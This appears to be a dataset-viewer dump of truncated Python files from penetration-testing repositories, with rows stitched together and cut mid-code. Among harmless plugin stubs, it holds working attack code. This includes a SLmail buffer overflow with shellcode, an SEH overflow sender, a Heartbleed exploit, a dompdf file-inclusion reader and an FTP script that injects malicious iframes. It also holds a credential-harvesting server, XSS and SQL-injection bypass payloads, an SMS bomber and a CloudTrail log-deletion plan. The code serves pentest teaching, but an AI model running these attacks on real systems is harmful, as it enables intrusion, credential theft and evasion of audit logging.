repo_name stringclasses 29
values | text stringlengths 18 367k | avg_line_length float64 5.6 132 | max_line_length int64 11 3.7k | alphnanum_fraction float64 0.28 0.94 |
|---|---|---|---|---|
owtf | from owtf.plugin.helper import plugin_helper
DESCRIPTION = "Plugin to assist manual testing"
def run(PluginInfo):
Content = plugin_helper.HtmlString("Intended to show helpful info in the future")
return Content
| 23.777778 | 85 | 0.765766 |
Hands-On-Penetration-Testing-with-Python | #!/usr/bin/python3.5
def compute_area(shape,**args):
if shape.lower() == "circle":
radius=args.get("radius",0)
area=2.17 * (radius **2)
print("Area circle : " +str(area))
elif shape.lower() in ["rect","rectangle"]:
length=args.get("length",0)
width=args.get("width",0)
area=length*width
print("Area Rect ... | 22.321429 | 44 | 0.627301 |
cybersecurity-penetration-testing | #!/usr/bin/python
import hashlib
target = raw_input("Please enter your hash here: ")
dictionary = raw_input("Please enter the file name of your dictionary: ")
def main():
with open(dictionary) as fileobj:
for line in fileobj:
line = line.strip()
if hashlib.md5(line).hexdigest() ==... | 26.578947 | 90 | 0.592734 |
Python-Penetration-Testing-Cookbook | from scapy.all import *
hiddenSSIDs = dict()
def parseSSID(pkt):
if pkt.haslayer(Dot11Beacon) or pkt.haslayer(Dot11ProbeResp):
if not hiddenSSIDs.has_key(pkt[Dot11].addr3):
ssid = pkt[Dot11Elt].info
bssid = pkt[Dot11].addr3
channel = int( ord(pkt[Dot11Elt:... | 35 | 109 | 0.586755 |
cybersecurity-penetration-testing | #!/usr/bin/env python
'''
Author: Chris Duffy
Date: May 2015
Purpose: An script that can process and parse NMAP XMLs
Returnable Data: A dictionary of hosts{iterated number} = [[hostnames], address, protocol, port, service name]
Name: nmap_parser.py
Copyright (c) 2015, Christopher Duffy All rights reserved.
Redistribu... | 44.607759 | 197 | 0.583743 |
cybersecurity-penetration-testing | #!/usr/bin/python
# -*- coding: utf-8 -*-
import mechanize
def testProxy(url, proxy):
browser = mechanize.Browser()
browser.set_proxies(proxy)
page = browser.open(url)
source_code = page.read()
print source_code
url = 'http://ip.nefsc.noaa.gov/'
hideMeProxy = {'http': '216.155.139.115:3128'}
te... | 17.315789 | 46 | 0.657061 |
cybersecurity-penetration-testing | import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = "192.168.0.1"
port =12345
s.connect((host,port))
print s.recv(1024)
s.send("Hello Server")
s.close() | 18.666667 | 53 | 0.715909 |
cybersecurity-penetration-testing | from ftplib import FTP
import time
import os
user = sys.argv[1]
pw = sys.argv[2]
ftp = FTP("127.0.0.1", user, pw)
filescheck = "aa"
loop = 0
up = "../"
while 1:
files = os.listdir("./"+(i*up))
print files
for f in files:
try:
fiile = open(f, 'rb')
ftp.storbinary('STOR ftpfiles/00'+str(f), fiile)
f... | 12.441176 | 51 | 0.609649 |
cybersecurity-penetration-testing | import scapy, GeoIP
from scapy import *
gi = GeoIP.new(GeoIP.GEOIP_MEMORY_CACHE)
def locatePackage(pkg):
src=pkg.getlayer(IP).src
dst=pkg.getlayer(IP).dst
srcCountry = gi.country_code_by_addr(src)
dstCountry = gi.country_code_by_addr(dst)
print srcCountry+">>"+dstCountry
try:
while True:
sniff(filter="ip",prn... | 22.411765 | 46 | 0.745592 |
Hands-On-Penetration-Testing-with-Python | #! /usr/bin/python3.5
from multiprocessing import Pool
import pandas as pd
import numpy as np
import multiprocessing as mp
import datetime as dt
class Pooling():
def write_to_file(self,file_name):
try:
st_time=dt.datetime.now()
process=mp.current_process()
name=process.name
print("Started process : " +st... | 28.479167 | 88 | 0.653465 |
Hands-On-Penetration-Testing-with-Python | # -*- coding: utf-8 -*-
from south.utils import datetime_utils as datetime
from south.db import db
from south.v2 import SchemaMigration
from django.db import models
class Migration(SchemaMigration):
def forwards(self, orm):
# Adding field 'Vulnerability.url'
db.add_column(u'xtreme_serv... | 58.571429 | 130 | 0.549657 |
PenetrationTestingScripts | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author : jeffzhang
# @Time : 18-5-14
# @File : __init__.py.py
# @Desc : ""
| 16 | 27 | 0.481481 |
Python-Penetration-Testing-for-Developers | import requests
import urllib
import subprocess
from subprocess import PIPE, STDOUT
commands = ['whoami','hostname','uname']
out = {}
for command in commands:
try:
p = subprocess.Popen(command, stderr=STDOUT, stdout=PIPE)
out[command] = p.stdout.read().strip()
except:
pass
req... | 22.058824 | 73 | 0.667519 |
Penetration_Testing | from distutils.core import setup
import py2exe
setup(options = {"py2exe": {"bundle_files": 3,"compressed":True}}, windows = [{"script":"windows_screen-grabber.py"}], zipfile = None)
| 35.8 | 134 | 0.710383 |
cybersecurity-penetration-testing | import urllib2
import sys
__author__ = 'Preston Miller and Chapin Bryce'
__date__ = '20160401'
__version__ = 0.02
__description__ = """Reads Linux-usb.org's USB.ids file and parses into usable data for parsing VID/PIDs"""
def main():
"""
Main function to control operation. Requires arguments passed as VID PI... | 26.830357 | 107 | 0.596919 |
cybersecurity-penetration-testing | #!/usr/bin/python
# -*- coding: utf-8 -*-
import optparse
from scapy.all import *
def findGuest(pkt):
raw = pkt.sprintf('%Raw.load%')
name = re.findall('(?i)LAST_NAME=(.*)&', raw)
room = re.findall("(?i)ROOM_NUMBER=(.*)'", raw)
if name:
print '[+] Found Hotel Guest ' + str(name[0])+\
... | 22.435897 | 60 | 0.561884 |
cybersecurity-penetration-testing | import requests
import sys
from bs4 import BeautifulSoup, SoupStrainer
url = "http://127.0.0.1/xss/medium/guestbook2.php"
url2 = "http://127.0.0.1/xss/medium/addguestbook2.php"
url3 = "http://127.0.0.1/xss/medium/viewguestbook2.php"
payloads = ['<script>alert(1);</script>', '<scrscriptipt>alert(1);</scrscriptipt>', '<B... | 30.857143 | 109 | 0.650954 |
Python-Penetration-Testing-Cookbook | # -*- coding: utf-8 -*-
# Define your item pipelines here
#
# Don't forget to add your pipeline to the ITEM_PIPELINES setting
# See: http://doc.scrapy.org/en/latest/topics/item-pipeline.html
class BooksPipeline(object):
def process_item(self, item, spider):
return item
| 22.833333 | 65 | 0.701754 |
cybersecurity-penetration-testing | import socket
host = "192.168.0.1"
port = 12346
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind((host,port))
s.settimeout(5)
data, addr = s.recvfrom(1024)
print "recevied from ",addr
print "obtained ", data
s.close() | 21.9 | 52 | 0.714912 |
Penetration-Testing-with-Shellcode | #!/usr/bin/python
import socket
junk = 'A'*4061
nSEH = 'B'*4
SEH = 'C'*4
pad = 'D'*(5000-4061-4-4)
injection = junk + nSEH + SEH + pad
s = socket.socket()
s.connect(('192.168.129.128',80))
s.send("GET " + injection + " HTTP/1.0\r\n\r\n")
s.close()
| 14.9375 | 49 | 0.586614 |
cybersecurity-penetration-testing | class Solution(object):
# def findShortestSubArray(self, nums):
# """
# :type nums: List[int]
# :rtype: int
# """
# res = len(nums)
# counter = collections.Counter()
# for num in nums:
# counter[num] += 1
# degree = max(counter.values())
... | 28.809524 | 70 | 0.46283 |
Python-Penetration-Testing-for-Developers | import socket
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800))
s.bind(("eth0",socket.ntohs(0x0800)))
sor = '\x00\x0c\x29\x4f\x8e\x35'
des ='\x00\x0C\x29\x2E\x84\x7A'
code ='\x08\x00'
eth = des+sor+code
s.send(eth)
| 21.090909 | 74 | 0.694215 |
Hands-On-Penetration-Testing-with-Python | #!/usr/bin/python3.5
l1=[1,2,3,4]
l2=[5,6,7,8]
zipped=list(zip(l1,l2))
print("Zipped is : " +str(zipped))
sum_=[x+y for x,y in zipped]
print("Sum : "+str(sum_))
sum_1=list(map(lambda x :x[0]+x[1] ,zip(l1,l2)))
print("Sum one shot (M1) : "+str(sum_1))
sum_2=[x + y for x,y in zip(l1,l2)]
print("Sum 1 shot (M2) : "+str(su... | 22.5 | 48 | 0.585366 |
cybersecurity-penetration-testing | #!/usr/bin/python
import hashlib
import sys
def multi_hash(filename):
"""Calculates the md5 and sha256 hashes
of the specified file and returns a list
containing the hash sums as hex strings."""
md5 = hashlib.md5()
sha256 = hashlib.sha256()
with open(filename, 'rb') as f:
while... | 23.444444 | 54 | 0.515358 |
Effective-Python-Penetration-Testing | import mechanize
cookies = mechanize.CookieJar()
cookie_opener = mechanize.build_opener(mechanize.HTTPCookieProcessor(cookies))
mechanize.install_opener(cookie_opener)
url = "http://www.webscantest.com/crosstraining/aboutyou.php"
res = mechanize.urlopen(url)
content = res.read()
| 16.352941 | 78 | 0.765306 |
owtf | from owtf.managers.resource import get_resources
from owtf.plugin.helper import plugin_helper
DESCRIPTION = "Plugin to assist manual testing"
def run(PluginInfo):
resource = get_resources("ExternalCommandInjection")
Content = plugin_helper.resource_linklist("Online Resources", resource)
return Content
| 28 | 75 | 0.783019 |
cybersecurity-penetration-testing | #!/usr/bin/env python
"""
Very simple HTTP server in python.
Usage::
./dummy-web-server.py [<port>]
Send a GET request::
curl http://localhost
Send a HEAD request::
curl -I http://localhost
Send a POST request::
curl -d "foo=bar&bin=baz" http://localhost
"""
from BaseHTTPServer import BaseHTTPReque... | 22.634615 | 68 | 0.608306 |
Python-Penetration-Testing-for-Developers | #!/usr/bin/env python
'''
Author: Chris Duffy
Date: May 2015
Name: tftp_exploit.py
Purpose: An example script to help test the exploitability of Sami FTP Server 2.0.1 after reversing a Metasploit module.
Copyright (c) 2015, Christopher Duffy All rights reserved.
Redistribution and use in source and binary forms, with... | 43.679245 | 120 | 0.766793 |
cybersecurity-penetration-testing | import socket
import os
import struct
import threading
from ctypes import *
# host to listen on
host = "192.168.0.187"
class IP(Structure):
_fields_ = [
("ihl", c_ubyte, 4),
("version", c_ubyte, 4),
("tos", c_ubyte),
... | 27.814159 | 107 | 0.520123 |
Python-Penetration-Testing-for-Developers | import socket
def get_protnumber(prefix):
return dict( (getattr(socket, a), a)
for a in dir(socket)
if a.startswith(prefix))
proto_fam = get_protnumber('AF_')
types = get_protnumber('SOCK_')
protocols = get_protnumber('IPPROTO_')
for res in socket.getaddrinfo('www.thapar.edu', 'http'):
family, socktype, proto... | 26.7 | 56 | 0.676311 |
Hands-On-Penetration-Testing-with-Python | #!/usr/bin/python
import socket
buffer=["A"]
counter=100
string="A"*2606 + "B"*4 +"C"*90
if 1:
print"Fuzzing PASS with %s bytes" % len(string)
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.250.136',110))
data=s.recv(1024)
#print str(data)
s.send... | 18.259259 | 54 | 0.576108 |
PenetrationTestingScripts | from django import forms
class ScanForm(forms.Form):
target = forms.CharField(label='target', max_length=100)
| 22.2 | 60 | 0.747826 |
cybersecurity-penetration-testing | #!/usr/bin/python3
#
# This script attempts to disrupt CloudTrail by planting a Lambda function that will delete every object created in S3 bucket
# bound to a trail. As soon as CloudTrail creates a new object in S3 bucket, Lambda will kick in and delete that object.
# No object, no logs. No logs, no Incident Respon... | 33.827586 | 274 | 0.60404 |
cybersecurity-penetration-testing | import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
import sys
from scapy.all import *
if len(sys.argv) !=4:
print "usage: %s target startport endport" % (sys.argv[0])
sys.exit(0)
target = str(sys.argv[1])
startport = int(sys.argv[2])
endport = int(sys.argv[3])
print "Scanning "+target... | 29.541667 | 81 | 0.689891 |
Hands-On-Penetration-Testing-with-Python | import struct
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buf = ""
buf += "\x99\x98\xf5\x41\x48\x9f\x2f\xfc\x9f\xf8\x48\x31\xc9"
buf += "\x48\x81\xe9\xd7\xff\xff\xff\x48\x8d\x05\xef\xff\xff"
buf += "\xff\x48\xbb\xb2\xa2\x05\x72\xca\x9c\x6b\xde\x48\x31"
buf += "\x58\x27\x48\x2d\xf8\xff\xff\xf... | 44.215686 | 63 | 0.659436 |
cybersecurity-penetration-testing | import time
from bluetooth import *
from datetime import datetime
def findTgt(tgtName):
foundDevs = discover_devices(lookup_names=True)
for (addr, name) in foundDevs:
if tgtName == name:
print '[*] Found Target Device ' + tgtName
print '[+] With MAC Address: ' + addr
... | 23.9 | 57 | 0.62173 |
Nojle | ###Author: Omar Rajab
###Company: BlackHatch
import pxssh
import os
import time
os.system("clear")
print("""\033[1;31m
... | 79.9 | 212 | 0.281873 |
Effective-Python-Penetration-Testing | import wx
# Create app instance
wx.App()
screen = wx.ScreenDC()
size = screen.GetSize()
bmp = wx.EmptyBitmap(size[0], size[1])
mem = wx.MemoryDC(bmp)
mem.Blit(0, 0, size[0], size[1], screen, 0, 0)
del mem # Release bitmap
bmp.SaveFile('screenshot.png', wx.BITMAP_TYPE_PNG) | 24.090909 | 50 | 0.690909 |
cybersecurity-penetration-testing | #!/usr/bin/python
# -*- coding: utf-8 -*-
import dpkt
import socket
import pygeoip
import optparse
gi = pygeoip.GeoIP('/opt/GeoIP/Geo.dat')
def retKML(ip):
rec = gi.record_by_name(ip)
try:
longitude = rec['longitude']
latitude = rec['latitude']
kml = (
'<Placemark>\n'
... | 23.727273 | 65 | 0.531576 |
Python-Penetration-Testing-for-Developers | import socket
rmip ='127.0.0.1'
portlist = [22,23,80,912,135,445,20]
for port in portlist:
sock= socket.socket(socket.AF_INET,socket.SOCK_STREAM)
result = sock.connect_ex((rmip,port))
print port,":", result
sock.close()
| 18 | 55 | 0.700441 |
owtf | """
ACTIVE Plugin for Testing for HTTP Methods and XST (OWASP-CM-008)
"""
from owtf.managers.resource import get_resources
from owtf.managers.target import target_manager
from owtf.plugin.helper import plugin_helper
DESCRIPTION = "Active probing for HTTP methods"
def run(PluginInfo):
URL = target_manager.get_val... | 26.782609 | 77 | 0.697492 |
Python-Penetration-Testing-for-Developers | import requests
import sys
url = sys.argv[1]
payload = ['<script>alert(1);</script>', '<scrscriptipt>alert(1);</scrscriptipt>', '<BODY ONLOAD=alert(1)>']
headers ={}
r = requests.head(url)
for payload in payloads:
for header in r.headers:
headers[header] = payload
req = requests.post(url, headers=headers)
| 27.636364 | 108 | 0.697452 |
PenTesting | # Exploit Title: [OpenSSL TLS Heartbeat Extension - Memory Disclosure - Multiple SSL/TLS versions]
# Date: [2014-04-09]
# Exploit Author: [Csaba Fitzl]
# Vendor Homepage: [http://www.openssl.org/]
# Software Link: [http://www.openssl.org/source/openssl-1.0.1f.tar.gz]
# Version: [1.0.1f]
# Tested on: [N/A]
# CVE ... | 29.179487 | 123 | 0.63225 |
cybersecurity-penetration-testing | import urllib2
import sys
__author__ = 'Preston Miller and Chapin Bryce'
__date__ = '20150825'
__version__ = '0.01'
def main():
url = 'http://www.linux-usb.org/usb.ids'
usbs = {}
usb_file = urllib2.urlopen(url)
curr_id = ''
for line in usb_file:
if line.startswith('#') or line == '\n':
... | 25.135593 | 87 | 0.547696 |
owtf | from owtf.plugin.helper import plugin_helper
DESCRIPTION = "Plugin to assist manual testing"
def run(PluginInfo):
Content = plugin_helper.HtmlString("Intended to show helpful info in the future")
return Content
| 23.777778 | 85 | 0.765766 |
Python-Penetration-Testing-for-Developers | import socket
host = "192.168.0.1"
port = 12346
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
print s.sendto("hello all",(host,port))
s.close() | 24.166667 | 52 | 0.713333 |
Python-Penetration-Testing-for-Developers | import requests
from ghost import Ghost
import logging
import os
url = 'http://www.realvnc.com'
req = requests.get(url)
def clickjack(url):
html = '''
<html>
<body>
<iframe src="'''+url+'''"></iframe>
</body>
</html>'''
html_file = 'clickjack.html'
log_file = 'test.log'
f = open(html_file, 'w+')
f.write(ht... | 20.3 | 79 | 0.694597 |
PenetrationTestingScripts | #!/usr/bin/python
#-*- coding: utf-8 -*-
#python3.5
#=====================================================================================================
#smsbomb.py
#author: ym2011
#version: 0.1
#create: 2016-08-04
#===========================================================================================... | 21.846939 | 115 | 0.589812 |
owtf | #!/usr/bin/env python
"""
2015/12/13 - Viyat Bhalodia (@delta24) - Updates CMS Explorer lists and merge them with original ones
"""
from __future__ import print_function
import os
from lxml import html
try:
import urllib2
except ImportError:
import urllib as urllib2
abs_path = os.path.dirname(os.path.abspat... | 30.690722 | 101 | 0.631305 |
Python-Penetration-Testing-for-Developers | import mechanize
import shelve
br = mechanize.Browser()
br.set_handle_robots( False )
url = raw_input("Enter URL ")
br.set_handle_equiv(True)
br.set_handle_gzip(True)
#br.set_handle_redirect(False)
br.set_handle_referer(True)
br.set_handle_robots(False)
br.open(url)
s = shelve.open("mohit.xss",writeback=True)
for form ... | 19.755102 | 67 | 0.647638 |
Python-Penetration-Testing-for-Developers | import requests
import sys
from bs4 import BeautifulSoup, SoupStrainer
url = "http://127.0.0.1/xss/medium/guestbook2.php"
url2 = "http://127.0.0.1/xss/medium/addguestbook2.php"
url3 = "http://127.0.0.1/xss/medium/viewguestbook2.php"
payloads = ['<script>alert(1);</script>', '<scrscriptipt>alert(1);</scrscriptipt>', '<B... | 30.857143 | 109 | 0.650954 |
Python-Penetration-Testing-for-Developers | #/usr/bin/env python
'''
Author: Chris Duffy
Date: March 2015
Name: smtp_vrfy.py
Purpose: To validate users on a box running SMTP
Copyright (c) 2015, Christopher Duffy All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following condi... | 45.947712 | 161 | 0.613617 |
Hands-On-Penetration-Testing-with-Python | #! /usr/bin/python3.5
class Ferrari():
def speed(self):
print("Ferrari : 349 km/h")
class Mclern():
def speed(self):
print("Mclern : 362 km/h")
def printSpeed(carType):
carType.speed()
f=Ferrari()
m=Mclern()
printSpeed(f)
printSpeed(m)
| 12.105263 | 29 | 0.665323 |
Hands-On-Penetration-Testing-with-Python | import struct
import socket
print "\n\n###############################################"
print "\nSLmail 5.5 POP3 PASS Buffer Overflow"
print "\nFound & coded by muts [at] offsec.com"
print "\nFor Educational Purposes Only!"
print "\n\n###############################################"
s = socket.socket(socket.AF_INET... | 46.060241 | 317 | 0.68886 |
Hands-On-Penetration-Testing-with-Python | # -*- coding: utf-8 -*-
from south.utils import datetime_utils as datetime
from south.db import db
from south.v2 import SchemaMigration
from django.db import models
class Migration(SchemaMigration):
def forwards(self, orm):
# Adding model 'Project'
db.create_table(u'xtreme_server_proje... | 63.617925 | 130 | 0.570886 |
PenetrationTestingScripts | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author : jeffzhang
# @Time : 18-6-19
# @File : auth_scanner.py
# @Desc : ""
import time
from threading import Thread
from datetime import datetime
from multiprocessing import Pool
from fuxi.views.lib.mongo_db import connectiondb, db_name_conf
from fuxi.views.m... | 40.470588 | 131 | 0.490129 |
owtf | import math
from collections import namedtuple
from sqlalchemy.sql import and_, or_
def filter_none(kwargs):
"""
Remove all `None` values froma given dict. SQLAlchemy does not
like to have values that are None passed to it.
:param kwargs: Dict to filter
:return: Dict without any 'None' values
... | 26.518325 | 101 | 0.630447 |
owtf | """
tests.owtftest
~~~~~~~~~~~~~~
Test cases.
"""
from __future__ import print_function
from builtins import input
import os
import copy
import glob
import tornado
import unittest
import mock
from hamcrest import *
from tests.utils import (
load_log,
db_setup,
clean_owtf_review,
DIR_OWTF_REVIEW,
... | 32.577381 | 89 | 0.603369 |
owtf | """
Plugin for probing MsRpc
"""
from owtf.managers.resource import get_resources
from owtf.plugin.helper import plugin_helper
DESCRIPTION = " MsRpc Probing "
def run(PluginInfo):
resource = get_resources("MsRpcProbeMethods")
# No previous output
return plugin_helper.CommandDump("Test Command", "Output",... | 23.857143 | 88 | 0.740634 |
Hands-On-Penetration-Testing-with-Python | #!/usr/bin/python
import socket
buffer=["A"]
counter=100
string="A"*2606 + "\x8f\x35\x4a\x5f" +"C"*390
if 1:
print"Fuzzing PASS with %s bytes" % len(string)
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.250.136',110))
data=s.recv(1024)
#print s... | 17.551724 | 54 | 0.577281 |
Penetration_Testing | '''
<Tuoni - Web Attack Program>
Currently has the following capabilities:
* Shellshock attack
* Directory fuzzer
* Session hijacker
* Get robots.txt file
* Test file upload ability
* Whois lookups
* Zone transfers
* Web spidering
* Banner grabbing
Currently working on adding:
... | 23.051852 | 171 | 0.617375 |
owtf | from owtf.plugin.helper import plugin_helper
DESCRIPTION = "Plugin to assist manual testing"
def run(PluginInfo):
Content = plugin_helper.HtmlString("Intended to show helpful info in the future")
return Content
| 23.777778 | 85 | 0.765766 |
PenetrationTestingScripts | # ACTION_CHECKBOX_NAME is unused, but should stay since its import from here
# has been referenced in documentation.
from django.contrib.admin.decorators import register
from django.contrib.admin.filters import (
AllValuesFieldListFilter, BooleanFieldListFilter, ChoicesFieldListFilter,
DateFieldListFilter, Fiel... | 40.466667 | 79 | 0.786002 |
cybersecurity-penetration-testing | import socket
import struct
host = "192.168.0.1"
port = 12347
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
s.listen(1)
conn, addr = s.accept()
print "connected by", addr
msz= struct.pack('hhl', 1, 2, 3)
conn.send(msz)
conn.close() | 15.5625 | 53 | 0.685606 |
cybersecurity-penetration-testing | # Transposition File Hacker
# http://inventwithpython.com/hacking (BSD Licensed)
import sys, time, os, sys, transpositionDecrypt, detectEnglish
inputFilename = 'frankenstein.encrypted.txt'
outputFilename = 'frankenstein.decrypted.txt'
def main():
if not os.path.exists(inputFilename):
print('The... | 34.132353 | 89 | 0.621859 |
Python-Penetration-Testing-for-Developers | import requests
import time
def check_httponly(c):
if 'httponly' in c._rest.keys():
return True
else:
return '\x1b[31mFalse\x1b[39;49m'
#req = requests.get('http://www.realvnc.com/support')
values = []
for i in xrange(0,5):
req = requests.get('http://www.google.com')
for cookie in req.cookies:
print 'Name:'... | 22.869565 | 53 | 0.689781 |
cybersecurity-penetration-testing | import socket
import os
import struct
from ctypes import *
# host to listen on
host = "192.168.0.187"
class IP(Structure):
_fields_ = [
("ihl", c_ubyte, 4),
("version", c_ubyte, 4),
("tos", c_ubyte),
("len", c_ushort),
(... | 29.118421 | 107 | 0.560752 |
Hands-On-Penetration-Testing-with-Python | #!/usr/bin/python
# Payload generator
## Total payload length
payload_length = 424
## Amount of nops
nop_length = 100
## Controlled memory address to return to in Little Endian format
#0x7fffffffddc0
#0x7fffffffe120
#current 0x7fffffffdf80: 0xffffdfa0
#0x7fffffffdde0
#return_address = '\x20\xe1\xff\xff\xff\x7f\x00\x0... | 31.65 | 72 | 0.710345 |
Effective-Python-Penetration-Testing | from metasploit.msfrpc import MsfRpcClient
from metasploit.msfconsole import MsfRpcConsole
client = MsfRpcClient('123456', user='msf')
print dir(console)
auxilary = client.modules.auxiliary
for i in auxilary:
print "\t%s" % i
scan = client.modules.use('auxiliary', 'scanner/ssh/ssh_version')
scan.description
sca... | 18.833333 | 65 | 0.752525 |
owtf | from owtf.managers.resource import get_resources
from owtf.plugin.helper import plugin_helper
DESCRIPTION = "Plugin to assist manual testing"
def run(PluginInfo):
resource = get_resources("ExternalWebServices")
Content = plugin_helper.resource_linklist("Online Resources", resource)
return Content
| 27.545455 | 75 | 0.779553 |
Penetration-Testing-Study-Notes | #!/usr/bin/python
import sys
import os
import subprocess
if len(sys.argv) != 3:
print "Usage: dirbust.py <target url> <scan name>"
sys.exit(0)
url = str(sys.argv[1])
name = str(sys.argv[2])
folders = ["/usr/share/dirb/wordlists", "/usr/share/dirb/wordlists/vulns"]
found = []
print "INFO: Starting dirb scan ... | 24.25641 | 74 | 0.601626 |
owtf | from owtf.config import config_handler
from owtf.plugin.helper import plugin_helper
from owtf.plugin.params import plugin_params
DESCRIPTION = "Launches all Exploits for a category(ies) -i.e. for IDS testing-"
CATEGORIES = ["LINUX", "WINDOWS", "OSX"]
SUBCATEGORIES = [
"DCERPC",
"FTP",
"HTTP",
"IIS",
... | 21.227848 | 87 | 0.519088 |
owtf | from owtf.plugin.helper import plugin_helper
DESCRIPTION = "Plugin to assist manual testing"
def run(PluginInfo):
Content = plugin_helper.HtmlString("Intended to show helpful info in the future")
return Content
| 23.777778 | 85 | 0.765766 |
cybersecurity-penetration-testing | import requests
from ghost import Ghost
import logging
import os
url = 'http://www.realvnc.com'
req = requests.get(url)
def clickjack(url):
html = '''
<html>
<body>
<iframe src="'''+url+'''"></iframe>
</body>
</html>'''
html_file = 'clickjack.html'
log_file = 'test.log'
f = open(html_file, 'w+')
f.write(ht... | 20.3 | 79 | 0.694597 |
PenetrationTestingScripts | """Utility functions and date/time routines.
Copyright 2002-2006 John J Lee <jjl@pobox.com>
This code is free software; you can redistribute it and/or modify it
under the terms of the BSD or ZPL 2.1 licenses (see the file
COPYING.txt included with the distribution).
"""
import re
import time
import warnings
class... | 28.388889 | 79 | 0.561499 |
Hands-On-Penetration-Testing-with-Python | #! /usr/bin/python3.5
print("------ For Loop with range default start------")
for i in range(5):
print("Statement %s ,step 1 "%i)
print("------ For Loop with Range specifying start and end ------")
for i in range(5,10):
print("Statement %s ,step 1 "%i)
print("------ For Loop with Range specifying start , end and s... | 22.166667 | 75 | 0.603365 |
cybersecurity-penetration-testing | '''
Chrome on Windows 8.1
Safari on iOS
IE6 on Windows XP
Googlebot
'''
import requests
import hashlib
user_agents = { 'Chrome on Windows 8.1' : 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.115 Safari/537.36',
'Safari on iOS' : 'Mozilla/5.0 (iPhone; CPU iPhon... | 35.655172 | 158 | 0.665725 |
cybersecurity-penetration-testing | #!/usr/bin/python
# -*- coding: utf-8 -*-
import smtplib
import optparse
from email.mime.text import MIMEText
from twitterClass import *
from random import choice
def sendMail(user,pwd,to,subject,text):
msg = MIMEText(text)
msg['From'] = user
msg['To'] = to
msg['Subject'] = subject
try:
smt... | 24.673077 | 62 | 0.614837 |
cybersecurity-penetration-testing | #!/usr/bin/python
# -*- coding: utf-8 -*-
import ftplib
def injectPage(ftp, page, redirect):
f = open(page + '.tmp', 'w')
ftp.retrlines('RETR ' + page, f.write)
print '[+] Downloaded Page: ' + page
f.write(redirect)
f.close()
print '[+] Injected Malicious IFrame on: ' + page
ftp.storlin... | 22.071429 | 54 | 0.613953 |
owtf | """
Robots.txt semi-passive plugin, parses robots.txt file to generate on-screen
links and save them for later spidering and analysis
"""
import logging
from owtf.requester.base import requester
from owtf.managers.target import target_manager
from owtf.plugin.helper import plugin_helper
DESCRIPTION = "Normal request ... | 34.071429 | 76 | 0.714577 |
owtf | """
tests.functional.cli.test_list_plugins
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
"""
from tests.owtftest import OWTFCliTestCase
class OWTFCliListPluginsTest(OWTFCliTestCase):
categories = ["cli"]
def test_cli_list_plugins_aux(self):
"""Run OWTF to list the aux plugins."""
expected = [
... | 24.714286 | 72 | 0.514694 |
cybersecurity-penetration-testing | import SimpleHTTPServer
import SocketServer
import urllib
class CredRequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
def do_POST(self):
content_length = int(self.headers['Content-Length'])
creds = self.rfile.read(content_length).decode('utf-8')
print creds
site = self.path... | 32.625 | 70 | 0.698324 |
Ethical-Hacking-Scripts | import urllib.request, sys
from optparse import OptionParser
class XSSPayloadChecker:
def __init__(self, website, payloadfile):
self.website = website
try:
self.payloadfile = open(payloadfile, "rb")
except:
print("[+] The file provided is invalid!")
... | 37.2 | 133 | 0.421442 |
cybersecurity-penetration-testing | #!/usr/bin/python3
from http.server import BaseHTTPRequestHandler,HTTPServer
import urllib
import re
import sys
import ssl
import json
import string
import random
import socket
import pymysql
import argparse
import datetime
import threading
from Database import Database
from Logger import *
VERSION = '0.1'
#
# CONF... | 33.046377 | 213 | 0.6 |
Penetration_Testing | #!/usr/bin/python
import socket
import sys
# Sends VRFY queries to SMTP to verify if a user exists
def smtp_verify(ip, user):
# Create a socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Connect to the server
connect = s.connect((ip, 25))
# Receive the banner
banner = s.recv(1024)
print banner
... | 17.170732 | 62 | 0.651882 |
cybersecurity-penetration-testing | import threading
import time
import socket, subprocess,sys
from datetime import datetime
import thread
import shelve
'''section 1 '''
subprocess.call('clear',shell=True)
shelf = shelve.open("mohit.raj")
data=(shelf['desc'])
#shelf.sync()
'''section 2 '''
class myThread (threading.Thread):
def __init__(self, threadN... | 23.160305 | 87 | 0.604298 |
Effective-Python-Penetration-Testing | from PIL import ImageGrab
import time
time.sleep(5)
ImageGrab.grab(bbox=(10,10,510,510)).save("screen_capture.png", "png")
| 19.833333 | 70 | 0.741935 |
Hands-On-Penetration-Testing-with-Python | #! /usr/bin/python3.5
import subprocess
import datetime as dt
import sys
import chardet
import psutil
"""
process = psutil.Process(1)
print(process.status())
print(process.username())
"""
class SP():
def execute(self,command=[]):
try:
p=subprocess.Popen(command,
shell=False,stderr=subprocess.PIPE,
stdout=su... | 20.545455 | 54 | 0.66338 |
Penetration-Testing-Study-Notes | import requests
import re
import base64
while True:
file = raw_input('$ ')
resp = requests.get("http://10.10.10.67/dompdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=" + file)
print resp.text
m = re.search('(?<=\[\().*?(?=\)\])', resp.text)
try:
print base64.b64decode(m.group(0))
... | 22.1875 | 128 | 0.667568 |
cybersecurity-penetration-testing | subs = []
values = {" ": "%50", "SELECT": "HAVING", "AND": "&&", "OR": "||"}
originalstring = "' UNION SELECT * FROM Users WHERE username = 'admin' OR 1=1 AND username = 'admin';#"
secondoriginalstring = originalstring
for key, value in values.iteritems():
if key in originalstring:
newstring = originalstring.replace... | 35.266667 | 103 | 0.714549 |
cybersecurity-penetration-testing | import struct
ms= struct.pack('hhl', 1, 2, 3)
print (ms)
k= struct.unpack('hhl',ms)
print k
| 14.666667 | 32 | 0.655914 |
owtf | #!/usr/bin/env python2
"""
tests.runner
~~~~~~~~~~~~
Tests runner.
"""
import sys
